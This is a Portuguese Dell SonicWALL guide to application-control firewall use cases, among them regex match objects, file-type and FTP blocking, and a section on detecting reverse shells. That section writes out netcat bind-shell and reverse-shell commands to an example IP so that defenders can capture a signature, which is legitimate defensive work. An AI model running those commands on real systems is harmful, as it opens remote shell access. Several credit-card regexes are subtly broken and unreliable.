AppUseCases
Casos de uso do controle de aplicativos
O controle de aplicativos fornece a funcionalidade para lidar com vários tipos de controle de acesso de maneira bastante eficiente. Os seguintes casos de uso são apresentados nesta seção:
• Criar uma expressão comum em um objeto de correspondência
• Controle de aplicativos baseado em políticas
• Registrar em log políticas baseadas em assinaturas de aplicativos
• Ambientes de e-mail hospedado
• Controle do navegador da Web
• Controle de tipo de arquivo proibido
• Gerenciamento de largura de banda
• Prevenção de exploração de shell inverso
Criar uma expressão comum em um objeto de correspondência
As expressões comuns predefinidas podem ser selecionadas durante a configuração e você pode configurar uma expressão comum personalizada. Este caso de uso descreve como criar um objeto de correspondência de regex para um número de cartão de crédito, enquanto ilustra alguns erros comuns.
Por exemplo, um usuário cria um objeto de correspondência de regex para um número de cartão de crédito com a seguinte construção ineficiente e também ligeiramente errônea:
[1-9][0-9]{3} ?[0-9]{4} ?[0-9]{4} ?[0-9]{4}
Usando este objeto, o usuário tenta criar uma política. Após o usuário clicar em OK, o dispositivo exibe a mensagem "Aguarde...", mas a sessão de gerenciamento não responde por um longo período de tempo e a expressão comum poderá eventualmente ser rejeitada.
Este comportamento ocorre porque, no objeto personalizado e nos objetos de correspondência de conteúdo do arquivo, as expressões comuns recebem implicitamente um prefixo com um ponto e asterisco (.*). Um ponto corresponde a qualquer um dos 256 caracteres ASCII, exceto "\n". Este fato, o tipo de objeto de correspondência usado e a natureza da expressão comum em combinação fazem com que o plano de controle leve muito tempo a compilar as estruturas de dados necessárias.
A correção para isto é a colocação de um prefixo na expressão comum com um "\D". Isso significa que o número do cartão de crédito é antecedido por um caractere não numérico, o que, na verdade, torna a expressão comum mais precisa.
Além disso, a expressão comum mostrada acima não representa com precisão o número do cartão de crédito desejado. A expressão regular na sua forma atual pode corresponder a vários falsos positivos, tal como 1234 12341234 1234. A seguir encontra-se uma representação mais precisa:
\D[1-9][0-9]{3} [0-9]{4} [0-9]{4} [0-9]{4}
ou
\D[1-9][0-9]{3}[0-9]{4}[0-9]{4}[0-9]{4}
que pode ser escrita de forma mais concisa como:
\D\z\d{3}( \d{4}){3}
ou
\D\z\d{3}(\d{4})[3}
, respectivamente.
Estas podem ser escritas como duas expressões regulares em um objeto de correspondência ou podem ser compactadas em uma expressão regular como:
\D\z\d{3}(( \d{4}){3}|(\d{12}))
Você também pode capturar números de cartão de crédito com dígitos separados por "–" com a seguinte expressão comum:
\D\z\d{3}(( \d{4}){3}|(-\d{4}){3}|(\d{12}))
O "\D" que antecede deve ser incluído em todas as expressões comuns deste tipo.
Controle de aplicativos baseado em políticas
Os bancos de dados de assinatura do aplicativo Dell SonicWALL fazem parte do recurso de controle de aplicativos, permitindo um controle muito granular relativamente à configuração de políticas e às ações relacionadas a eles. Esses bancos de dados de assinatura são usados para proteger os usuários contra as vulnerabilidades de aplicativos, bem como worms, cavalos de Troia, transferências de ponto a ponto, spyware e backdoors. O idioma usado da assinatura extensível no mecanismo Reassembly Free Deep Packet Inspection da Dell SonicWALL também fornece defesa proativa contra recém-descobertas de vulnerabilidades de aplicativos e protocolos.
Para criar uma política de controle de aplicativos, crie primeiro um objeto de correspondência do tipo Lista de assinaturas de aplicativo ou Lista de categorias de assinatura de aplicativo. Esses dois tipos permitem a seleção de categorias gerais do aplicativo ou assinaturas individuais de aplicativo.
O exemplo a seguir mostra um objeto de correspondência direcionado para aplicativos de compartilhamento ponto a ponto LimeWire e Napster.
Depois de criar um objeto de correspondência baseado em assinatura, crie uma nova política de regras de aplicativo do tipo de Conteúdo do controle de aplicativos que usa o objeto de correspondência. O exemplo a seguir mostra uma política que usa o recém-criado objeto de correspondência "Napster/LimeWire P2P" para descartar todo o tráfego de Napster e LimeWire.
Registrar em log políticas baseadas em assinaturas de aplicativos
Como acontece com outros tipos de política de objeto de correspondência, o registro em log pode ser habilitado nas políticas de conteúdo do aplicativo. Por padrão, estes logs são exibidos no formato padrão, mostrando a política de controle de aplicativos que acionou o alerta/a ação. Para obter mais informações sobre o evento de log, marque a caixa de seleção Registrar usando formato de mensagem de Controle de aplicativos na tela Configurações da política de controle de aplicativos dessa política.
Muitas empresas e organizações precisam garantir a conformidade com suas políticas relativamente à transferência de arquivos de saída. O controle de aplicativos fornece essa funcionalidade em contextos HTTP, FTP, POP3 e SMTP. Isso pode ajudar as empresas a cumprir requisitos normativos, tais como HIPAA, SOX e PCI.
Ao configurar a política ou as políticas para essa finalidade, você pode selecionar Direção > Básico > Saída para aplicar especificamente suas restrições de transferência de arquivos ao tráfego de saída. Alternativamente, você pode selecionar Direção > Avançado e, em seguida, especificar as zonas exatas entre as quais deve ser evitada a transferência de arquivos. Por exemplo, você pode especificar LAN para WAN, LAN para DMZ ou qualquer outra zona que você definiu.
Os servidores normalmente são acessados por vários clientes não confiáveis. Para melhor proteção desses recursos valiosos, você deve ter várias linhas de defesa. Com controle de aplicativos no gateway, você pode configurar políticas para proteger os seus servidores. Por exemplo, você pode criar uma política que bloqueia todos os comandos FTP put a fim de impedir que alguém grave um arquivo em um servidor (consulte Bloquear comandos FTP). Embora o servidor possa estar configurado como somente leitura, isto adiciona uma camada de segurança que é controlada pelo administrador do firewall. O servidor continuará protegido, mesmo se a sua configuração for alterada por um erro, um efeito colateral de um patch ou por alguém mal-intencionado. Com o controle de aplicativos, você pode efetivamente controlar o carregamento de conteúdo para servidores usando HTTP, SMTP, POP3 e FTP.
Um exemplo de políticas que afetam servidores poderá ser um pequeno ISP fornecendo três níveis de serviço aos seus clientes, cujos servidores se encontram em seu rack. No nível de ouro, um cliente pode hospedar um servidor Web, servidor de e-mail e servidor FTP. No nível de prata, um cliente pode hospedar apenas um servidor Web e um servidor de e-mail. No nível de bronze, o pacote que hospeda permite apenas um servidor Web. O ISP pode usar o controle de aplicativos para aplicar estas restrições criando uma política para cada cliente.
Um ambiente de e-mail hospedado é um ambiente em que o e-mail está disponível no provedor de serviços de Internet (ISP) de um usuário. Normalmente, o POP3 é o protocolo usado para transferência de e-mail neste ambiente. Muitos proprietários de pequenas empresas usam este modelo e gostariam de controlar o conteúdo de e-mail e também os seus anexos. A execução do controle de aplicativos no gateway oferece uma solução para controlar e-mail baseado em POP3 e SMTP.
O controle de aplicativos também pode fazer a varredura de HTTP, o que é útil para e-mail hospedado por sites como o Yahoo ou o Hotmail. Observe que quando um anexo é bloqueado ao usar HTTP, o controle de aplicativos não fornece o nome do arquivo do arquivo bloqueado. Você também pode usar o controle de aplicativos para controlar o FTP ao acessar os servidores de banco de dados.
Se você desejar uma solução SMTP dedicada, é possível usar o Dell SonicWALL Email Security. O Email Security é usado por várias empresas de grandes dimensões para controlar e-mail baseado em SMTP, mas ele não suporta POP3. Para controlar vários protocolos de e-mail, o controle de aplicativos fornece uma excelente solução.
O controle de aplicativos pode ser muito eficaz para determinados tipos de controle de e-mail, especialmente quando é desejada uma política geral. Por exemplo, você pode evitar o envio de anexos de um determinado tipo, como .exe, por usuário ou para um domínio inteiro. Como a extensão do nome do arquivo está sendo correspondida nesse caso, a alteração da extensão antes de enviar o anexo irá ignorar a filtragem. Observe que você também pode impedir anexos dessa forma em seu servidor de e-mail, se você tiver um. Se não tiver, o controle de aplicativos fornece essa funcionalidade.
Você pode criar um objeto de correspondência que verifica o conteúdo do arquivo correspondente a cadeias de caracteres como "confidenciais", "somente uso interno" e "privado" para implementar controles básicos na transferência de dados confidenciais.
Você também pode criar uma política que impede e-mails para ou de um domínio ou usuário específico. Você pode usar o controle de aplicativos para limitar o tamanho do arquivo de e-mail, mas não para limitar o número de anexos. O controle de aplicativos pode bloquear arquivos com base no tipo MIME. Ele não consegue bloquear tráfego SSL ou TLS criptografado nem consegue bloquear "todos os arquivos criptografados". Para bloquear e-mails criptografados de um site que está usando HTTPS, você pode criar um objeto de correspondência personalizado que corresponda ao certificado enviado antes do início da sessão HTTPS. Isso faz parte da sessão SSL antes de ser criptografada. Em seguida, você pode criar uma política personalizada que bloqueia esse certificado.
O controle de aplicativos pode verificar anexos de e-mail baseados em texto ou compactados para um nível, mas não criptografados. A tabela a seguir apresenta uma lista de formatos de arquivo que o controle de aplicativos pode verificar relativamente a palavras-chave. Outros formatos devem ser testados antes de ser possível usá-los em uma política.
|
Você também pode usar o controle de aplicativos para proteger seus servidores da Web de navegadores indesejáveis. O controle de aplicativos fornece tipos de objetos de correspondência para Netscape, MSIE, Firefox, Safari e Chrome. Você pode definir um objeto de correspondência com um destes tipos e referenciá-lo em uma política para bloquear esse navegador.
Você também pode acessar informações sobre a versão do navegador usando um tipo de objeto de correspondência do agente do usuário HTTP. Por exemplo, versões mais antigas de vários navegadores poderão ser suscetíveis a problemas de segurança. Usando o controle de aplicativos, você pode criar uma política que nega acesso por qualquer navegador problemático, como o Internet Explorer 5.0. Você também pode usar a correspondência negativa para excluir todos os navegadores, exceto o(s) que você desejar. Por exemplo, você poderá desejar permitir apenas o Internet Explorer versão 6 devido a falhas na versão 5 e porque você ainda não testou a versão 7. Para fazer isso, você deve usar um analisador de protocolos de rede como o Wireshark para determinar o identificador do navegador da Web do IEv6 que é "MSIE 6.0". Em seguida, você pode criar um objeto de correspondência de tipo de agente do usuário HTTP, com conteúdo "MSIE 6.0" e habilitar a correspondência negativa.
Você pode usar este objeto de correspondência em uma política para bloquear navegadores que não são MSIE 6.0. Para obter informações sobre como usar o Wireshark para encontrar um identificador de um navegador da Web, consulte Wireshark. Para obter informações sobre a correspondência negativa, consulte Correspondência negativa.
Outro exemplo de um caso de uso para controlar o acesso de um navegador da Web é um pequeno site de comércio eletrônico que está vendendo mercadorias que estão sendo recuperadas de uma fonte exterior. Se um dos termos do contrato com o fornecedor for a impossibilidade de vender a cidadãos da nação de origem, eles podem configurar o Controle de aplicativos para bloquear o acesso às versões dos principais navegadores da Web do país.
O controle de aplicativos suporta uma seleção predefinida de navegadores conhecidos e você pode adicionar outros como objetos de correspondência personalizados. O bloqueio do navegador baseia-se no agente do usuário HTTP relatado pelo navegador. O objeto de correspondência personalizado deve incluir conteúdo suficientemente específico para identificar o navegador sem a criação de falsos positivos. Você pode usar o Wireshark ou outro analisador de protocolos de rede para obter uma assinatura exclusiva para o navegador desejado.
Você pode melhorar a segurança de servidores HTTP públicos de somente leitura não permitindo o método HTTP POST.
Primeiro, use o bloco de notas ou outro editor de texto para criar um novo documento denominado Post.htm que contém o código HTML abaixo. Salve o arquivo em sua área de trabalho ou em uma localização conveniente.
<FORM action="http://www.yahoo.com/" method="post">
<p>Insira seu nome: <input type="Text" name="FullName"></p>
<input type="submit" value="Submit"> <INPUT type="reset">
Em seguida, abra o analisador de rede Wireshark e inicie uma captura. Para obter informações sobre como usar o Wireshark, consulte Wireshark. Em um navegador, abra o formulário Post.htm que acabou de criar e digite seu nome e, em seguida, clique em Enviar. Pare a captura.
Usando a função do Wireshark Editar > Localizar pacote, procure a cadeia de caracteres "POST".
O Wireshark irá avançar para o primeiro quadro que contém os dados solicitados. Você verá algo como a tela mostrada abaixo. Isso indica que o método HTTP POST é imediatamente transmitido após as informações de cabeçalho TCP e é constituído pelos primeiros quatro bytes (504f5354) da carga do TCP (camada de aplicativos HTTP). Você pode usar essas informações para criar um objeto de correspondência personalizado que detecta o método HTTP POST.
Na interface de gerenciamento do SonicOS, navegue até Firewall > Objetos de correspondência e, em seguida, clique em Adicionar novo objeto de correspondência. Crie um objeto de correspondência como aquele que é mostrado abaixo. Observe que nesse objeto de correspondência específico você poderá usar o recurso Habilitar configurações para criar um objeto que corresponda a uma determinada parte da carga. O campo Deslocamento especifica qual o byte na carga para iniciar a correspondência e ajuda a reduzir falsos positivos, tornando a correspondência mais específica. O campo Profundidade especifica o byte em que a correspondência deve parar. Os campos Mín. e Máx. permitem que você especifique um tamanho de carga mínimo e máximo.
Em seguida, navegue até Firewall > Regras de aplicativos e clique em Adicionar nova política. Crie uma política como aquela que é mostrada abaixo.
Para testar, utilize um navegador para abrir o documento Post.htm que criou anteriormente. Digite o seu nome e, em seguida, clique em Enviar. A conexão deve ser descartada neste momento e você deverá ver um alerta no log semelhante ao que é mostrado abaixo.
Controle de tipo de arquivo proibido
Você pode usar o controle de aplicativos para impedir que tipos de arquivos arriscados ou proibidos (por exemplo, exe, vbs, scr, dll, avi, mov, etc.) sejam carregados ou baixados.
Navegue até Firewall > Objetos de correspondência e clique em Adicionar novo objeto de correspondência. Crie um objeto como aquele que é mostrado abaixo.
Em seguida, navegue até Firewall > Objetos de ação e clique em Adicionar novo objeto de ação. Criar uma ação como aquela que é mostrada abaixo.
Para criar uma política que usa este objeto e esta ação, navegue até Firewall > Regras de aplicativos e clique em Adicionar nova política. Crie uma política como aquela que é mostrada abaixo.
Para testar esta política, você poderá abrir um navegador da Web e tentar fazer download de todos os tipos de arquivos especificados no objeto de correspondência (exe, vbs, scr). Abaixo estão algumas URLs que você pode experimentar:
http://download.skype.com/SkypeSetup.exe
http://us.dl1.yimg.com/download.yahoo.com/dl/msgr8/us/msgr8us.exe
http://g.msn.com/8reen_us/EN/INSTALL_MSN_MESSENGER_DL.EXE
Você verá um alerta semelhante ao que é mostrado abaixo.
Um dos recursos mais úteis do controle de aplicativos é a capacidade de distinção entre tipos diferentes de tráfego de rede ActiveX ou Flash. Isso permite bloquear jogos ao permitir as atualizações do Windows. Antes do controle de aplicativos, você pode configurar o SonicOS para bloquear o ActiveX com Serviços de segurança > Filtro de conteúdo, mas isto bloqueia todos os controles ActiveX, incluindo as atualizações de software.
O controle de aplicativos alcança esta distinção através da verificação do valor de classid na fonte HTML. Cada tipo de ActiveX tem a sua própria ID de classe e a ID de classe poderá alterar nas diferentes versões do mesmo aplicativo.
Alguns tipos de ActiveX e as respectivas IDs de classe são mostrados na tabela a seguir.
|
A captura de tela abaixo mostra um objeto de correspondência de tipo ActiveX que está usando a ID de classe Macromedia Shockwave. Você pode criar uma política que usa este objeto de correspondência para bloquear jogos on-line ou outro conteúdo baseado em Shockwave.
Você pode pesquisar a ID de classe desses controles ActiveX na Internet ou pode visualizar a origem no seu navegador para encontrá-la. Por exemplo, a captura de tela a seguir mostra um arquivo de origem com a ID de classe de Macromedia Shockwave ou Flash.
O controle de aplicativos fornece controle sobre o canal de controle de FTP e uploads e downloads de FTP com o comando FTP e os tipos de objetos de correspondência de conteúdo de arquivos. Com eles, você pode controlar o uso de FTP de forma muito eficiente. Os dois casos de uso seguintes são descritos nesta seção:
• Bloquear arquivos confidenciais de saída através de FTP
• Bloquear arquivos codificados UTF-8/UTF-16 de saída
Bloquear arquivos confidenciais de saída através de FTP
Por exemplo, para bloquear transferências de arquivos confidenciais de saída através de FTP, você pode criar uma política com base em palavras-chave ou padrões dentro de arquivos.
Primeiro, você precisa criar um objeto de correspondência de tipo de conteúdo de arquivo que corresponda a palavras-chave em arquivos.
Como alternativa, você pode criar uma ação de notificação FTP personalizada que envia uma mensagem para o cliente.
Em seguida, você pode criar uma política que referencia este objeto de correspondência e esta ação. Se você preferir simplesmente bloquear a transferência de arquivos e redefinir a conexão, você pode selecionar a ação Redefinir/descartar ao criar a política.
Bloquear arquivos codificados UTF-8/UTF-16 de saída
O suporte de unicode nativo UTF-8 e UTF-16 através do controle de aplicativos permite que caracteres multibyte codificados, como caracteres chineses ou japoneses, sejam inseridos como palavras-chave de conteúdo de objeto de correspondência usando o tipo de entrada alfanumérica. O controle de aplicativos suporta correspondência de palavras-chave de conteúdo codificado UTF-8 tipicamente encontrado em páginas da Web e aplicativos de e-mail e conteúdo codificado UTF-16 normalmente encontrado em documentos baseados no sistema operacional Windows/Microsoft Office.
O bloqueio de transferências de arquivos de saída de arquivos confidenciais Unicode por FTP é tratado da mesma forma que o bloqueio de outras transferências de arquivos confidenciais. Primeiro, crie um objeto de correspondência que corresponda em palavras-chave codificadas UTF-8 ou UTF-16 em arquivos. Em seguida, crie uma política que referencia o objeto de correspondência e bloqueia a transferência de arquivos correspondentes.
O exemplo mostrado abaixo usa um tipo de objeto de correspondência de conteúdo de arquivo com uma palavra-chave chinesa codificada UTF-16 que é convertida para "documento confidencial".
Em seguida, crie uma política que referencia o objeto de correspondência, como mostrado abaixo. Essa política bloqueia a transferência de arquivos e reinicia a conexão. A opção Habilitar registro em log está selecionada para que não seja registrada nenhuma tentativa de transferência de um arquivo contendo a palavra-chave codificada UTF-16.
É gerada uma entrada de log depois da redefinição/descarte de uma conexão. Um exemplo de uma entrada de log é mostrado abaixo, incluindo a mensagem informando que é um alerta de controle de aplicativos, exibindo o nome da política e o tipo de ação de redefinição/descarte.
Você pode usar o controle de aplicativos para garantir que seu servidor FTP é de somente leitura, bloqueando comandos como put, mput, rename_to, rename_from, rmdir e mkdir. Este caso de uso mostra um objeto de correspondência que contém somente o comando put, mas você pode incluir todos estes comandos no mesmo objeto de correspondência.
A primeira etapa é criar um objeto de correspondência que corresponda no comando put. Uma vez que o comando mput é uma variação do comando put, um objeto de correspondência que corresponda no comando put corresponderá também no comando mput.
Como alternativa, você pode criar uma ação de notificação FTP personalizada que envia uma mensagem para o cliente. É mostrada uma ação personalizada na captura de tela abaixo.
Em seguida, você pode criar uma política que referencia este objeto de correspondência e esta ação. Se você preferir simplesmente bloquear o comando put e redefinir a conexão, você pode selecionar a ação Redefinir/descartar ao criar a política.
Gerenciamento de largura de banda
Você pode usar o gerenciamento de largura de banda de camada de aplicativo para controlar a quantidade de largura de banda de rede que pode ser usada para transferir determinados tipos de arquivos. Isso permite que você desencoraje tráfego não produtivo e encoraje tráfego produtivo em sua rede.
Por exemplo, você pode limitar a largura de banda utilizada para fazer download de arquivos MP3 através de FTP para não mais de 400 quilobits por segundo (kbps). Se um usuário ou 100 usuários estão fazendo o download de arquivos MP3, esta política limitará a largura de banda agregada para 400 kbps.
Para obter informações sobre a configuração do gerenciamento de largura de banda, consulte Visão geral do gerenciamento de largura de banda.
Você pode usar a ação Ignorar DPI para aumentar o desempenho através da rede se você souber que o conteúdo que está sendo acessado é seguro. Por exemplo, este poderá ser o caso se sua empresa tiver um vídeo corporativo que você deseja transmitir para os funcionários da empresa através de HTTP, concedendo-lhes acesso a uma URL em um servidor Web. Uma vez que você sabe que o conteúdo é seguro, é possível criar uma política de controle de aplicativos que se aplica à ação Ignorar DPI em cada acesso a este vídeo. Isto garantirá velocidades de fluxo mais rápidas e a melhor qualidade de visualização para os funcionários acessando o vídeo.
Apenas duas etapas são necessárias para a criação da política. Primeiro, você pode definir um objeto de correspondência para o vídeo corporativo usando um tipo de objeto de correspondência de Conteúdo de URI de HTTP:
Lembre-se de que a barra principal (/) da URL deve sempre ser incluída para tipos de Correspondência exata e Correspondência de prefixo de objetos de correspondência de conteúdo de URI. Não é necessário incluir o cabeçalho de host, como "www.company.com", no campo Conteúdo.
Em seguida, crie uma política que use o objeto de correspondência Vídeo corporativo e a ação Ignorar DPI:
Você pode criar um objeto de correspondência personalizado que corresponda a qualquer parte de um pacote se desejar controlar o tráfego que não tem um tipo de objeto predefinido no controle de aplicativos. Isso permite que você crie uma assinatura personalizada para qualquer protocolo de rede.
Por exemplo, você pode criar uma assinatura personalizada para corresponder aos pacotes de solicitação HTTP GET. Você pode usar esta opção se desejar evitar a navegação na Web a partir da rede local.
Para determinar um identificador exclusivo para um pacote HTTP GET, você pode usar o analisador de protocolos de rede Wireshark para visualizar o cabeçalho do pacote. Para obter mais informações sobre o uso do Wireshark, consulte Wireshark. No Wireshark, capture alguns pacotes que incluem o tráfego no qual você está interessado. Nesse caso, você poderá desejar capturar um pacote de solicitação HTTP GET. Você pode usar qualquer navegador da Web para gerar a solicitação HTTP GET. A imagem a seguir mostra um pacote de solicitação HTTP GET exibido pelo Wireshark.
No painel superior do Wireshark, role para baixo até localizar o pacote HTTP GET e, em seguida, clique nessa linha. O pacote é exibido nos dois painéis inferiores. Para um pacote SYN, o painel central fornece uma interpretação legível do cabeçalho do pacote e os bytes do cabeçalho atual são mostrados em hexadecimal no painel inferior.
No painel central, expanda a seção Protocolo de transferência de hipertexto para ver a carga do pacote e clique no identificador desejado para referenciar no controle de aplicativos. Nesse caso, o identificador é o comando GET nos primeiros três bytes. Clique nele para realçar os bytes correspondentes no painel inferior.
Você pode determinar o deslocamento e a profundidade dos bytes realçados no painel inferior. O deslocamento e a profundidade são termos usados pelo controle de aplicativos. O deslocamento indica qual o byte no pacote para iniciar a correspondência e a profundidade indica o último byte de correspondência. O uso de um deslocamento permite uma correspondência muito específica e reduz os falsos positivos. Quando você calcular o deslocamento e a profundidade, observe que o primeiro byte no pacote é contabilizado como o número um (não zero). Os números decimais são usados em vez de hexadecimais para calcular o deslocamento e a profundidade. O deslocamento e a profundidade associados a um objeto de correspondência personalizado são calculados com início na carga do pacote (o início da carga TCP ou UDP). Nesse caso, o deslocamento é 1 e a profundidade é 3.
Agora você pode criar um objeto de correspondência personalizado que usa esta informação.
Na janela Configurações do objeto de correspondência, digite um nome descritivo para o objeto e, em seguida, selecione Objeto personalizado na lista suspensa Tipo de objeto de correspondência. Marque a caixa de seleção Habilitar configurações. Na caixa de texto Deslocamento, digite 1 (o byte inicial do identificador). Na caixa de texto Profundidade, digite 3 (o último byte do identificador). Você pode deixar o Tamanho da carga definido para o padrão. O tamanho da carga é usado para indicar a quantidade de dados no pacote, mas, nesse caso, estamos apenas preocupados com o cabeçalho do pacote.
Para representação de entrada, clique em Hexadecimal. Na caixa de texto Conteúdo, digite os bytes como mostrado pelo Wireshark: 474554. Não inclua espaços no conteúdo hexadecimal.
A próxima etapa é usar este objeto de correspondência em uma política de regras de aplicativo. Na janela Configurações da política de controle de aplicativos, digite um nome de política descritivo e selecione Cliente HTTP para o tipo de política. Na lista suspensa Objeto de correspondência, selecione o objeto de correspondência que você acabou de definir. Selecione uma ação personalizada ou uma ação padrão, como Redefinir/descartar. Para o Lado da conexão, selecione Do lado do cliente. Você pode também modificar outras configurações. Para obter mais informações sobre a criação de uma política, consulte Pré-requisitos para configurar políticas de regras de aplicativos.
Prevenção de exploração de shell inverso
A exploração de shell inverso é um ataque que você pode impedir usando o recurso de assinatura personalizada do controle de aplicativos (consulte Assinatura personalizada). Uma exploração de shell inverso pode ser usada por um invasor se ele for bem-sucedido na obtenção de acesso ao seu sistema por meio de uma exploração de dia zero. Uma exploração de dia zero se refere a um ataque cuja assinatura ainda não foi reconhecida pelo software de segurança.
Em uma fase inicial, enquanto ainda desconhecidas, as cargas maliciosas podem passar pela primeira linha de defesa que é o IPS e o Antivírus do gateway (GAV) em execução no gateway da Internet e até mesmo a segunda linha de defesa representada pelo software antivírus baseado em host, permitindo a execução de código arbitrário no sistema de destino.
Em muitos casos, o código executado contém a quantidade mínima de instruções necessárias para o invasor para chegar remotamente a uma janela de prompt de comando (com os privilégios do serviço explorado ou do usuário conectado) e continuar com a penetração a partir desse local.
Como um meio comum para desviar problemas de NAT/firewall que possam impedir a capacidade de conexão ativa a um sistema explorado, os invasores farão com que o sistema vulnerável execute um shell inverso. Em um shell inverso, a conexão ao endereço do invasor é iniciada pelo host de destino usando portas TCP/UDP bem conhecidas para melhor evitar políticas de saída rígidas.
Este caso de uso é aplicável a ambientes de hospedagem de sistemas Windows e interceptarão conexões não criptografadas em todas as portas TCP/UDP.
Note As redes que usam serviço Telnet não criptografado devem configurar políticas que excluam os endereços IP desses servidores.
Embora esse caso de uso se refira ao caso específico de cargas de shell inverso (conexões de saída), é mais seguro configurar a política para que esta seja eficiente também para conexões de entrada. Isso protege contra um caso em que a carga executada gera um shell de escuta no host vulnerável e o invasor se conecta a esse serviço através de firewalls mal configurados.
A configuração atual requer o seguinte:
• Gerar a atividade de rede atual para que seja identificada, usando a ferramenta netcat
• Capturar a atividade e exportar a carga para um arquivo de texto, usando a ferramenta Wireshark
• Criar um objeto de correspondência com uma cadeia de caracteres razoavelmente específica e exclusiva o suficiente para evitar falsos positivos
• Definir uma política com a ação a ser executada quando uma carga que contém o objeto é analisada (o padrão Redefinir/descartar é usado aqui)
Gerar a atividade de rede
A ferramenta netcat oferece, entre outros recursos, a capacidade de vincular a saída de um programa a uma conexão de saída ou de escuta. Os exemplos de uso a seguir mostram como configurar um "daemon de prompt de comando" de escuta ou como efetuar a conexão a um ponto terminal remoto e fornecer um prompt de comando interativo:
• nc –l –p 23 –e cmd.exe
Estará disponível um prompt do Windows para os hosts que se conectam à porta 23 (a opção -l significa modo de escuta, em oposição a padrão, implícito, modo de conexão).
• nc –e cmd.exe 44.44.44.44 23
Estará disponível um prompt do Windows para o host 44.44.44.44 se o host 44.44.44.44 estiver escutando na porta 23 usando o comando netcat:
nc -l -p 23
Capturar e exportar a carga para um arquivo de texto usando o Wireshark
Para capturar os dados, inicie o Wireshark e clique em Capturar > Interfaces para abrir um diálogo de captura. Inicie uma captura na interface com o tráfego netcat. Assim que a captura for iniciada, execute o comando netcat e, em seguida, pare a captura.
A imagem a seguir mostra o fluxo de dados através da rede durante uma conexão desse tipo (Vista Enterprise, junho de 2007):
Os dados hexadecimais podem ser exportados para um arquivo de texto para desativar o cabeçalho de pacote, partes e espaços desnecessários ou variáveis. As partes relevantes aqui são "Microsoft... reservado". Você pode usar o recurso de exportação de carga hexadecimal do Wireshark para tal. Para obter informações sobre o Wireshark, consulte Wireshark.
Criar um objeto de correspondência
Os seguintes caracteres hexadecimais são inseridos como o conteúdo do objeto de correspondência representando o banner do prompt do comando Vista:
4D6963726F736F66742057696E646F7773205B56657273696F6E20362E302E363030305D0D0A436F70797269676874202863292032303036204D6963726F73667420436F72706F726174696F6E2E
Note que a exportação da identificação e a definição do objeto de correspondência não precisam realmente usar a notação hexadecimal aqui (a assinatura atual é texto ASCII neste caso). O hexadecimal só é necessário para assinaturas de binário.
São obtidas entradas semelhantes da mesma forma a partir de hosts do Windows 2000 e Windows XP e usadas para criar outros objetos de correspondência, resultando em três objetos de correspondência mostrados abaixo:
Outros exemplos para o Windows Server 2003 ou qualquer outra versão do Windows podem ser facilmente obtidos usando o método descrito.
Os administradores de Linux/Unix precisarão personalizar a variável de ambiente padrão para tirar proveito dessa defesa baseada em assinatura, uma vez que o prompt padrão não é geralmente suficientemente específico ou exclusivo para ser usado como descrito acima.
Definir a política
Depois de criar os objetos de correspondência, você pode definir uma política que os usa. A imagem abaixo mostra as outras configurações de política. Este exemplo, tal como é mostrado, é específico de shells invertidos nas configurações Nome da política e Direção. Conforme mencionado, também poderá ser personalizado para um escopo maior, alterando a configuração Direção para Ambos e atribuindo um nome mais genérico.
Uma entrada de log com uma categoria de acesso à rede é gerada depois de uma conexão de Redefinir/descartar. A captura de tela abaixo mostra a entrada de log, incluindo a mensagem informando que é um alerta de controle de aplicativos e exibindo o nome da política:
Tal como a experiência sugere, medidas de segurança apropriadas incluem várias camadas de inteligência e nenhuma abordagem pode ser considerada uma defesa definitiva contra código hostil.
Camada de aplicativo: O sétimo nível do modelo OSI de 7 camadas; exemplos de protocolos de camada de aplicativo são AIM, DNS, FTP, HTTP, IMAP, MSN Messenger, POP3, SMTP, SNMP, TELNET e Yahoo Messenger
Gerenciamento da largura de banda: O processo de medição e controle de tráfego em um link de rede para evitar o congestionamento da rede e o fraco desempenho desta
Cliente: Normalmente, o cliente (em uma arquitetura de cliente-servidor) é um aplicativo que é executado em um computador pessoal ou estação de trabalho e que depende de um servidor para executar algumas operações
Gerenciamento de direitos digitais: Tecnologia usada por editores ou detentores de direitos autorais para controlar o acesso a e o uso de dados digitais
FTP: Protocolo de transferência de arquivos, um protocolo para trocar arquivos através da Internet
Gateway: Um computador que serve como um ponto de entrada para uma rede; funciona frequentemente como um firewall ou um servidor de proxy
Controle granular: A capacidade de controlar componentes separados de um sistema
Hexadecimal: Refere-se ao sistema de 16 números base
HTTP: Hyper Text Transfer Protocol, o protocolo subjacente usado pela World Wide Web
Redirecionamento HTTP: Também conhecido como redirecionamento URL, uma técnica na Web para disponibilizar uma página da Web em muitas URLs
IPS: Serviço de prevenção contra intrusões
MIME: Extensões Multifunção para Mensagens de Internet, uma especificação para formatar mensagens que não sejam ASCII, como gráficos, áudio ou vídeo, para que elas possam ser enviadas pela Internet
POP3: Post Office Protocol, um protocolo usado para recuperar e-mail de um servidor de e-mail; pode ser usado com ou sem SMTP
Proxy: Um computador que opera um serviço de rede que permite que os clientes realizem conexões de rede indiretas a outros serviços de rede
SMTP: Simple Mail Transfer Protocol, um protocolo usado para enviar mensagens de e-mail entre servidores
UDP: Protocolo de Datagrama de Usuário, um protocolo sem conexão que é executado no topo de redes IP